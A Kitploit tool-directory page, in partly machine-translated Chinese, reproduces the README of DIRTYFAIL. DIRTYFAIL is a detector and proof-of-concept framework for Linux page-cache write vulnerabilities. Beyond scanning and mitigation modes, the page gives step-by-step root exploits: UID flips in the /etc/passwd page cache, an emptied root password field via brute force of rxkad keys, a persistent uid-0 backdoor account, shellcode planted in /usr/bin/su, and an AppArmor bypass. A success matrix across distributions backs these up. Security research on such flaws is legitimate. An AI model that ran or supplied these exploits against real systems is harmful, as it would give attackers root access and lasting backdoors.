Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DIRTYFAIL — 针对Linux页缓存写入漏洞的检测器+概念验证代码:Copy Fail(CVE-2026-31431)和Dirty Frag(CVE-2026-43284/43500)。仅限授权的安全研究。 | Kitploit
工具/GitHubGitHub/karazajac/dirtyfail
权限提升漏洞分析漏洞利用渗透测试论文与研究学习与教育红队容器逃逸二进制利用实验室与实践
GitHubkarazajac/dirtyfail

DIRTYFAIL

针对Linux页缓存写入漏洞的检测器+概念验证代码:Copy Fail(CVE-2026-31431)和Dirty Frag(CVE-2026-43284/43500)。仅限授权的安全研究。

261254个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

DIRTYFAIL

针对 Copy Fail 和 Dirty Frag Linux 页缓存写入漏洞家族的 统一检测器与 PoC 框架。``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL 是一个小巧、文档齐全的 C 语言工具,供安全研究人员使用。它检测 Linux 主机是否易受此家族中的三个 CVE 影响,并在获得明确、键入的确认后,运行一个真实的概念验证,将调用者置于易受攻击系统上的 root shell 中。

| CVE / 变种 | 名称 | DIRTYFAIL 覆盖 |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead authencesn page-cache write) | 检测 + 完整 PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP page-cache write          | 检测 + 完整 PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP page-cache write (`esp6`) | 检测 + 完整 PoC |
| **CVE-2026-43500**    | Dirty Frag — RxRPC page-cache write                  | 检测 + 完整 PoC |
| Copy Fail GCM 变种 | xfrm-ESP `rfc4106(gcm(aes))` page-cache write        | 检测 + 完整 PoC |

**额外模式:**

- **`--scan --active`** — 哨兵-STORE 主动探测。默认的 `--scan` 报告每个 CVE 的前提条件(内核、模块、LSM 状态)以及 Copy Fail 原语的主动探测。添加 `--active` 会将哨兵文件 STORE 探测扩展到所有其他四个原语(ESP v4、ESP v6、RxRPC、GCM):每个都针对 `/tmp` 中的哨兵触发内核触发器,并且仅在标记字节实际落地时报告易受攻击。这是在不运行完整漏洞利用的情况下区分反向移植补丁内核(前提条件显示易受影响但探测显示完好)与未补丁内核的唯一方法。绝不接触 `/etc/passwd`。根据内核构建自动校准 V6 STORE 移位。
- **`--exploit-backdoor`** — 持久的 uid-0 后门:长度匹配覆盖 `/etc/passwd` 中的 `nologin`/`false`/`sync` 行,替换为 `dirtyfail::0:0:<pad>:/:/bin/bash`。在页面被逐出之前,即使 shell 退出后仍然存在。状态存储在 `/var/tmp/.dirtyfail.state` 中,供 `--cleanup-backdoor` 使用。`dirtyfail` 用户名故意与此项目匹配,以便在任何审计中立即识别 — 如果你需要为授权的红队行动使用不同的标识符,请更改 `src/backdoor.c` 中的 `NEW_USER`。
- **AppArmor 绕过** — 通过单跳 `change_onexec("crun")` 重新执行到保留用户命名空间能力的无限制配置文件,击败 Ubuntu 的 `apparmor_restrict_unprivileged_userns=1` 策略。每个漏洞利用模式通过 fork 内部处理此问题:父进程留在初始命名空间中,子进程执行绕过操作,父进程读取全局页面缓存并运行 `su` 以获得真正的初始命名空间 root。遗留的 `--aa-bypass` 标志仍然存在,用于隔离调试绕过机制。参见 [§8.5 架构](#85-architecture-outerinner-fork-based-bypass)。

## 已验证可工作于

DIRTYFAIL 已在多个发行版和内核版本上进行了**端到端经验验证**。下面的矩阵显示了针对每个发行版的全新安装运行每个 `--exploit-*` 模式后的每模式测试结果。

| 发行版 | 内核 | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | 后门 | SU shellcode |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (未测试) |
| Debian 13.4 | `6.12.86+deb13` | 无 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (强化) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**图例:** ✅ 漏洞利用成功落地并产生真正的初始命名空间 root  · 🛡 已缓解 — 漏洞利用无法触及内核漏洞(内核已修补或 LSM 阻止非特权路径)  · ⏭ 不适用(前提条件缺失)

### 主动探测验证 (`--scan --active`)

`--active` 标志在检测期间为每个 CVE 添加了一个哨兵文件 STORE 探测。我们针对上述相同的 4 个发行版(Debian、Fedora、AlmaLinux、Ubuntu 26.04)验证了探测输出 — 下面的矩阵显示了每模式探测结果,并与完整漏洞利用的地面实况一一匹配:

| 发行版 | Copy Fail 探测 | ESP v4 探测 | ESP v6 探测 | RxRPC 探测 | GCM 探测 |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | 完好 🛡 | 完好 🛡 | 完好 🛡 | 完好 🛡 | 完好 🛡 |
| Fedora 44   | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte change ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | preconds ⏭ | sentinel changed ✅ |
| Ubuntu 26.04 | 完好 🛡 | LSM 阻断 🛡 | LSM 阻断 🛡 | LSM 阻断 🛡 | LSM 阻断 🛡 |

V6 探测的 STORE 落地偏移(Fedora 和 Alma 上为 8)与 `calibrate_v6_shift()` 在运行时发现的实验性 `V6_STORE_SHIFT` 匹配 — 这确认了自动校准正确地取代了先前硬编码的常量,且适用于不同的内核构建。

¹ GCM 和后门需要 `algif_aead` 可加载。Ubuntu 24.04 附带了 `/etc/modprobe.d/disable-algif_aead.conf` 黑名单以将其作为 Copy Fail 缓解措施。移除此黑名单后(例如在内核版本早于该缓解措施时),两种模式均可端到端工作。

² Copy Fail 的 algif_aead 路径已通过 modprobe 黑名单缓解;底层内核中的 CVE 原语与 `authencesn` 是否可达相同。xfrm-ESP、RxRPC 和 GCM 变种均在同一内核上落地,因为它们不经过 algif_aead。

³ AlmaLinux 10 的最小安装默认不安装 `kernel-modules-extra` 包,因此磁盘上缺少 `rxrpc.ko`。从 EPEL 或 AlmaLinux extras 仓库安装 `kernel-modules-extra-$(uname -r)` 可恢复该模块;在标准最小安装上,RxRPC 不可达。

⁴ **Ubuntu 26.04 LTS 全面阻止非特权利用。** 其附带的 `7.0.0-15.15` 内核(发布于 2026-04-22)比主线补丁 `f4c50a4034e6`(于 2026-05-07 合并)**早约 2 周** — 因此漏洞**仍在**内核中。Ubuntu 的防御是**通过 AppArmor 强化的纵深防御**,而非内核补丁:

- `apparmor_restrict_unprivileged_userns=1` 默认启用。
- 在 `unshare(CLONE_NEWUSER)` 上,内核级的 AppArmor 强制将任何配置文件(包括标记为 `(unconfined)` 的配置文件,如 `crun`、`chrome`、默认 `unconfined`)自动转换为具有 `audit deny capability` 的 `<profile>//&unprivileged_userns (mixed)` 子配置文件。新用户命名空间内的 uid 0 不会获得任何能力。
- `change_onexec` 切换到不同配置文件无济于事 — 即使 `crun` 配置文件(具有显式的 `userns,` 权限和 `flags=(unconfined)`)也会在 unshare 时自动转换。通过 `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'` 验证 → `crun//&unprivileged_userns (mixed)`。
- `newuidmap`/`newgidmap`(setuid root)成功写入 uid_map,但 `setresuid(0)` 随后成功,而 `ioctl(SIOCSIFFLAGS)` 及所有其他 CAP_NET_ADMIN 门控系统调用返回 EPERM,因为能力拒绝是按命名空间而非按 uid 进行的。

DIRTYFAIL 二进制文件正确装备了绕过并到达阶段 2,但无法在新的用户命名空间内获取 CAP_NET_ADMIN。无论采用何种绕过技术,漏洞利用基础设施均被 LSM 层阻止。我们测试了 `change_onexec(crun)`、`change_onexec(chrome)`、`aa-exec -p <profile>` 以及直接 `unshare(USER|NET) + newuidmap` — 均产生相同的 `unprivileged_userns` 子配置文件。

**这是 Canonical 出色的安全工作。** 该漏洞类已针对非特权用户得到缓解,无需重新构建内核。后续的稳定更新可能还会带来内核补丁本身,从而完成防御。

⁵ **`--exploit-su` shellcode 注入**依赖于相同的 Copy Fail algif_aead 4 字节原语(`cf_4byte_write`)。在内核上 Copy Fail 已修补(Debian 13.4)或 LSM 阻止(Ubuntu 26.04 — 但 algif_aead 路径在 7.0.0-15 中也已修补)时,植入会运行但验证步骤失败(“页面缓存与植入的 shellcode 不匹配”),自动恢复会还原 `/usr/bin/su`。在 AlmaLinux 10.1(入口点文件偏移 `0x45b0`)和 Fedora 44(偏移 `0x1b60`)上进行了端到端测试;ELF 解析器独立处理每个发行版的 PIE 基址。Fedora 44 上的真实 root 证据:`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`。

测试可重现性:

- 我们从干净的 ISO 重新安装了每个发行版,设置了 SSH 密钥认证 + NOPASSWD sudo,在每个发行版上克隆并构建了 DIRTYFAIL,拍摄了 `clean-build` Parallels 快照,然后以 `--no-shell`(通过 fadvise + drop_caches 自动还原)运行了所有 5 种漏洞利用模式。
- 经验结果行源自解析实际的 `--exploit-*` 输出,寻找成功信号:`page cache now reports <user> with uid 0`、`root password field is now empty`、`is now uid 0`(后门)或任何失败模式(`write did not land`、`byte flip failed`、`setresuid: Invalid`、`add_rxrpc_key: No such device`、`page cache not in expected shape`)。
- 对于 RxRPC 和后门的“真实 root”验证,我们执行了 `echo "" | su - root` / `echo "" | su - dirtyfail`,并确认了 `uid=0(root)` 以及成功读取 `/etc/shadow`。

> **仅限授权测试。** 仅在您拥有或明确受聘评估的系统上使用 DIRTYFAIL。漏洞利用模式会破坏 `/etc/passwd` **在内核页面缓存中**(磁盘上的文件从未被触碰)。清理命令为 `dirtyfail --cleanup` 或 `echo 3 > /proc/sys/vm/drop_caches`。

---

## 目录

1. [漏洞类](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 架构概述](#45-architecture-overview)
5. [构建](#5-build)
6. [使用](#6-usage)
7. [DIRTYFAIL 如何检测每个 CVE](#7-how-dirtyfail-detects-each-cve)
8. [DIRTYFAIL 如何利用每个 CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 架构:基于外部/内部 fork 的绕过](#85-architecture-outerinner-fork-based-bypass)
9. [缓解措施](#9-mitigations)
10. [伦理与披露](#10-ethics--disclosure)
11. [致谢](#11-credits)

**配套文档:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/DEFENDERS.md) — 系统管理员手册:我是否易受攻击,如何缓解,监控什么。
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/RESEARCH.md) — 对相邻路径(AH、IPCOMP、MACsec、kTLS 等)进行同一漏洞类的内核源码审计。
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-check.sh) — 供系统管理员使用的独立 Bash 检测器(无需编译)。
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/main/tools/99-dirtyfail.rules) — 可直接加载的 auditd 规则,用于漏洞利用链。
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-container-escape.sh) — 跨命名空间爆炸半径演示。
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/main/tools/exploit_su_aarch64.S) — aarch64 (ARM64) 的 `--exploit-su` shellcode 源码。未经硬件测试;在 `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 后门条件下发布。使用 `aarch64-linux-gnu-as` 重新生成 `src/exploit_su.c` 中对应的字节数组以验证。

---

## 1. 漏洞类

**页面缓存写入**漏洞允许非特权用户修改其仅有读取权限的文件的内核内存副本。磁盘上的文件从未被写入;修改在 RAM 中持续存在,直到页面被逐出(`drop_caches`、内存压力或重启)。

此类漏洞始于 **Dirty Pipe** (CVE-2022-0847),它滥用了 `pipe_buffer` 标志。Copy Fail 和 Dirty Frag 是其后继者,它们转而针对 `struct sk_buff` 的 `frag` 成员。机制始终相同:

1. 用户空间将可读文件(例如 `/etc/passwd`、`/usr/bin/su`)的页面缓存页面 `splice()` 到内核缓冲区的 frag 中。
2. 接收路径对该缓冲区执行**原地**加密操作 — 相同的页面既是操作的源也是目标。
3. 加密程序在数据区域之外执行一次“临时” STORE(序列号重排、单块解密等),该操作会落入用户固定的页面内。
4. 现在,对于主机上的每个读取者来说,该文件的页面缓存副本被永久修改,直到页面被逐出。

由于该漏洞是**确定性的逻辑缺陷**,而非竞态条件,成功率基本上为 100%,且内核在失败时不会崩溃。

## 2. CVE-2026-31431 — Copy Fail

* 披露日期:**2026-04-29**
* 网站:<https://copy.fail/>
* 原始 PoC (C):[Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* 原始 PoC (Python):[rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* 由提交引入:`72548b093ee3` (2017)
* 由提交修复:`a664bf3d` (主线 6.12 / 6.17 / 6.18 稳定版)
* 确认受影响:Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### 根本原因

内核的 `algif_aead` 模块通过 `AF_ALG` 向用户空间暴露 AEAD 加密 API。`authencesn(hmac(sha256), cbc(aes))` 模板实现了 RFC-4303 ESN(扩展序列号);其解密路径的一部分执行了一次**4 字节的临时写入**以重排序列号:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

★处的STORE在正常的IPsec数据包上是无害的——它落入skb的标签区域,该区域属于内核。crypto模板假设src和dst指向内核内存。

algif_aead违背了这一假设。它接受来自用户空间的splice(),将页缓存页面植入请求的scatterlist中。由于AEAD原地运行(req->dst = req->src),页缓存页面现在位于scratch写入目标的目的地scatterlist偏移处。

被写入的4个字节是用户空间发送的AAD的字节4..7——ESP头中的"seqno_lo"字段,攻击者可以随意填充。

网络原语:对攻击者可以open(O_RDONLY)的任何文件的页缓存进行4字节任意偏移写入。

利用

最简单的武器化是修改/etc/passwd。一个普通用户行看起来像:``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
将 `1000`(UID 字段,对于任何 UID 1000–9999 恰好是 4 个 ASCII 字节)翻转为 `0000` 会使 glibc 的 `getpwnam()` 报告该用户的 uid=0。然而,PAM 仍然针对磁盘上的 `/etc/shadow`(未被修改)进行认证,因此 `su <user>` 会提示输入真实密码,验证通过后执行 `setuid(0)` — 最终以 root 身份登录,因为页面缓存中的 `/etc/passwd` 副本显示我们是 root。

`/etc/shadow` 的完整性得以保留。磁盘上的 `/etc/passwd` 保持不变。只有内核 RAM 中的 `/etc/passwd` 副本被破坏,且仅在执行 `drop_caches` 或重启之前有效。

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* 披露:**2026-04-30 → 2026-05-08**
* 原始 PoC(C):[V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* 研究人员:Hyunwoo Kim([@v4bel](https://x.com/v4bel))
* 引入提交:`cac2661c53f3`(2017-01-17)
* 修复提交:`f4c50a4034e6`(主线 net.git,2026-05-07 合并)
* 确认受影响:Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### 根本原因

`esp_input()` 应该在 skb 为非线性(即包含分片)时,在就地 AEAD 解密之前调用 `skb_cow_data()`。该代码路径存在一条短路:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

如果 skb 包含分片但无 frag_list,esp_input 会绕过 skb_cow_data,直接将用户提供的分片交给 AEAD 模板。同样的 authencesn(...) 原始写入(即导致拷贝失败的那种)随后会在拼接页的文件偏移 (assoclen + cryptlen) 处写入。

这 4 个 STORE 字节来自 SA 的 replay_esn 状态中的 seq_hi —— 攻击者在注册 SA 时可通过 XFRMA_REPLAY_ESN_VAL netlink 属性控制该值。

代价:注册 XFRM SA 需要 CAP_NET_ADMIN,因此攻击者首先通过 unshare(CLONE_NEWUSER) 进入一个新的用户命名空间。大多数发行版默认允许此操作(Ubuntu 的强化配置文件是明显例外)。

关键在于,即使启用了 algif_aead 的拷贝失败缓解措施,此原语仍然有效 —— xfrm 路径不经过 algif_aead。仅将 algif_aead 列入黑名单的防御者仍然容易受到 Dirty Frag 的攻击。

利用

V4bel 发布的 PoC 通过 48 次连续的 4 字节 STORE,将一个 192 字节的静态 "root-shell" ELF 写入 /usr/bin/su 页缓存的前 192 字节。修改后,execve("/usr/bin/su") 会运行新的 ELF 入口点,同时保留 setuid-root 位,完全绕过 PAM,并从 shellcode 内部执行 execve("/bin/sh")。

DIRTYFAIL 采用更简单的 /etc/passwd UID 翻转方法(一次 4 字节 STORE —— 与 Copy Fail 的目标相同),原因有二:

  1. 这是一个单次写入原语演示,更易于研究。
  2. 通过 POSIX_FADV_DONTNEED 可完全逆转,不会使 /usr/bin/su 对系统上其他用户处于损坏状态。

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • 披露:2026-04-29 → 2026-05-08
  • 补丁:截至 2026-05-08 尚未进入任何内核树;研究人员补丁 待定:lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • 研究人员:Hyunwoo Kim (@v4bel)
  • 引入提交:2dc334f1a63a (2023-06)

根本原因

rxkad_verify_packet_1() 对 RxRPC 数据包的前 8 字节执行原地 pcbc(fcrypt) 单块解密:```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
如果页面缓存页面已被拼接进 skb 的 frag 中,则在其上执行 8 字节解密。

**与 xfrm-ESP 的区别**:被 STORE 的 8 字节是 `fcrypt_decrypt(C, K)`,其中 `C` 是该文件偏移处的现有密文,`K` 是攻击者通过 `add_key("rxrpc", ...)` 注册的 RxRPC v1 令牌中的会话密钥。攻击者无法直接控制 STORE 值——他们必须暴力破解 `K`,直到 `fcrypt_decrypt(C, K)` 产生所需的明文。

`fcrypt` 是一种 Andrew 文件系统密码,具有 **56 位密钥** 和 8 字节块。它是确定性的;可以干净地移植到用户空间;其密钥空间足够小,以至于受限的 8 字节目标可以在毫秒到秒内被暴力破解,具体取决于约束预算。

**关键在于,此路径不需要命名空间权限** — `add_key`、`socket(AF_RXRPC)`、`socket(AF_ALG)`、`splice` 所有无特权用户都可以使用。RxRPC 填补了 Ubuntu 强化用户命名空间配置文件(其中 xfrm-ESP 被阻止)上的空白,因为 `rxrpc.ko` 包含在默认的 Ubuntu 构建中。

### 利用

1. 在用户空间中暴力破解 `K_A`、`K_B`、`K_C`,使得 `/etc/passwd` 偏移 4、6、8 处的三个 STORE 分别产生 `"::"`、`"0:"`、`"0:GGGGGG:"`(最后写入获胜)。
2. 对于每个 `K_i`,使用 `add_key` 注册一个 RxRPC v1 令牌,在同一进程中对一个虚假的 UDP 服务器执行伪造的 AF_RXRPC 握手,并通过 splice 触发 `rxkad_verify_packet_1`。
3. `/etc/passwd` 第 1 行的页面缓存副本现在为 `root::0:0:GGGGGG:/root:/bin/bash`——一个空的密码字段。
4. 使用 `pam_unix.so nullok` 的 PAM 接受空密码;`su -` 生成一个 root shell。

### DIRTYFAIL 覆盖范围

DIRTYFAIL 提供了 **检测和完整 PoC** 用于此 CVE。

DIRTYFAIL 实现位于 `src/dirtyfrag_rxrpc.c` 和 `src/fcrypt.c`:

- **fcrypt 密码** (`fcrypt.c`):56 位密钥、8 字节块、16 轮 Feistel;标准 rxkad 协议 S 盒。包括一个单核暴力破解工具(约 18 Mops/s),用于搜索密钥空间,直到候选明文满足调用者提供的谓词。
- **rxkad 校验和** (`compute_csum_iv`,`compute_cksum`):通过 AF_ALG `pcbc(fcrypt)` 重现的内核公式,使我们伪造的 DATA 数据包中的在线校验和通过 `rxkad_verify_packet` 的门禁。
- **RxRPC v1 令牌构建** (`build_rxrpc_v1_token`):通过 `add_key("rxrpc", ...)` 注册的 XDR 编码的 rxkad 令牌,带有我们暴力破解的会话密钥。
- **AF_RXRPC 客户端 + UDP 虚假服务器**:客户端发起调用,虚假服务器从第一个数据包中提取 (epoch, cid, callNumber) 并发出伪造的 CHALLENGE,使客户端用我们的密钥初始化 `conn->rxkad.cipher`。
- **Splice 触发器** (`do_one_trigger`):vmsplice 伪造的 DATA 线头→从 `/etc/passwd` splice 8 字节→ splice 管道→ udp_srv→ recvmsg 通过 `rxkad_verify_packet_1` 驱动内核→ 8 字节 STORE。
- **3-splice 链与链式密文修正**:暴力破解 K_A / K_B / K_C,在轮次之间应用链式密文移位(在 splice A 覆盖字节 4..11 后,splice B 在 6..13 处的密文以 `P_A[2..7]` 开头;C 对 B 同理)。

最终 PoC 将 `/etc/passwd` 第 1 行重塑为:```
root::0:0:GGGGG:/root:/bin/bash

— 空密码字段 — 并且 execlp("su", "-") 然后因为 pam_unix.so nullok 接受空密码而弹出 root shell。

为了与上游 PoC 进行比较和验证,请参阅 V4bel 的 exp.c:https://github.com/V4bel/dirtyfrag。


4.5 架构概览

DIRTYFAIL 是一个由约 10 个源模块构建的单一 C 二进制文件。高级结构:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**关键设计决策:**

- **外部/内部拆分**:每个漏洞利用都会派生一个子进程用于内核工作。父进程保留在初始命名空间中,以便最终的 `execlp("su", user)` 能够触及真正的初始命名空间根目录。参见 [§8.5 架构](#85-architecture-outerinner-fork-based-bypass)。
- **页缓存是全局的**:子进程从其绕过用户命名空间内部写入,父进程从初始命名空间读取;相同的字节可见。
- **环境变量传递父进程到子进程的状态**:`DIRTYFAIL_INNER_MODE`、`DIRTYFAIL_TARGET_USER`、`DIRTYFAIL_K_{A,B,C}`(rxrpc)、`DIRTYFAIL_LINE_OFF` 等(后门)。`execv` 在阶段转换之间保留环境变量。
- **防御性辅助工具**:`--mitigate` 部署与发行版官方缓解措施相同的黑名单 + sysctl 强化。`--scan` 检测功能是否被 LSM 阻止,并报告“已缓解”而非误导性的“满足易受攻击前提条件”。

---

## 5. 构建

### 前提条件

* **Linux**(此二进制文件仅在 Linux 上运行时可用)。
* `gcc` 或 `clang`、`make`。
* Linux UAPI 头文件——具体为 `<linux/xfrm.h>`、`<linux/netlink.h>`、`<linux/rtnetlink.h>`、`<linux/if.h>`。

| 发行版            | 安装命令                                           |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### 构建命令```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

默认构建会产生一个大约 80 KB 的二进制文件,位于 ./dirtyfail。对于可在任何内核兼容的 Linux 上运行且无 glibc 依赖漂移的可移植构建:```sh make static CC=musl-gcc

root@kitploit:~
(install `musl-tools` on Debian/Ubuntu, or build musl from source).

---

## 6. 使用方法

`./dirtyfail --help` 是权威参考;模式按类别分类如下:

**检测(安全;不修改系统):**

| 模式 | 功能 |
|---|---|
| `--scan` | 运行所有五个检测器(默认模式) |
| `--scan --active` | 为每个 CVE 添加哨兵文件 STORE 探测 — 区分满足前提条件与真正可利用 |
| `--scan --json` | 在标准输出上输出单个 JSON 对象(适合 SIEM);日志输出到标准错误 |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | 仅进行逐 CVE 检测 |

**利用(需键入确认;破坏 `/etc/passwd` 页缓存):**

| 模式 | 功能 |
|---|---|
| `--exploit-copyfail` | 通过 `algif_aead` 4 字节原语翻转 UID |
| `--exploit-esp` | 通过 xfrm-ESP v4 翻转 UID(需要用户命名空间+CAP_NET_ADMIN) |
| `--exploit-esp6` | 通过 xfrm-ESP v6 翻转 UID |
| `--exploit-rxrpc` | 通过 rxkad fcrypt 暴力破解清空 root 密码字段 |
| `--exploit-gcm` | 通过 `rfc4106(gcm(aes))` 单字节原语翻转 UID |
| `--exploit-backdoor` | 持久化:插入 `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | V4bel 风格:在 `/usr/bin/su` 入口点植入特定架构的 shellcode。x86_64 已端到端测试;aarch64 随附但未经硬件测试(由 `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 控制) |

**清理 / 状态检查:**

| 模式 | 功能 |
|---|---|
| `--cleanup` | 从页缓存中驱逐 `/etc/passwd`(如果以 root 身份运行则执行 `fadvise` + `drop_caches`) |
| `--cleanup-backdoor` | 从状态文件中恢复原始的 `/etc/passwd` 行 |
| `--cleanup-su` | 从状态文件中恢复 `/usr/bin/su` 入口点字节 |
| `--list-state` | 报告当前植入的内容(如有);无副作用 |

**防御(需要 root):**

| 模式 | 功能 |
|---|---|
| `--mitigate` | 将 `algif_aead`/`esp4`/`esp6`/`rxrpc` 模块加入黑名单;设置 `apparmor_restrict_unprivileged_userns=1`;执行 drop_caches。副作用:破坏 IPsec 和 AFS |
| `--cleanup-mitigate` | 移除由 `--mitigate` 安装的 modprobe/sysctl 文件 |

**通用选项:**

| 标志 | 效果 |
|---|---|
| `--no-shell` | 成功利用后,不执行 `execve su` — 验证并还原 |
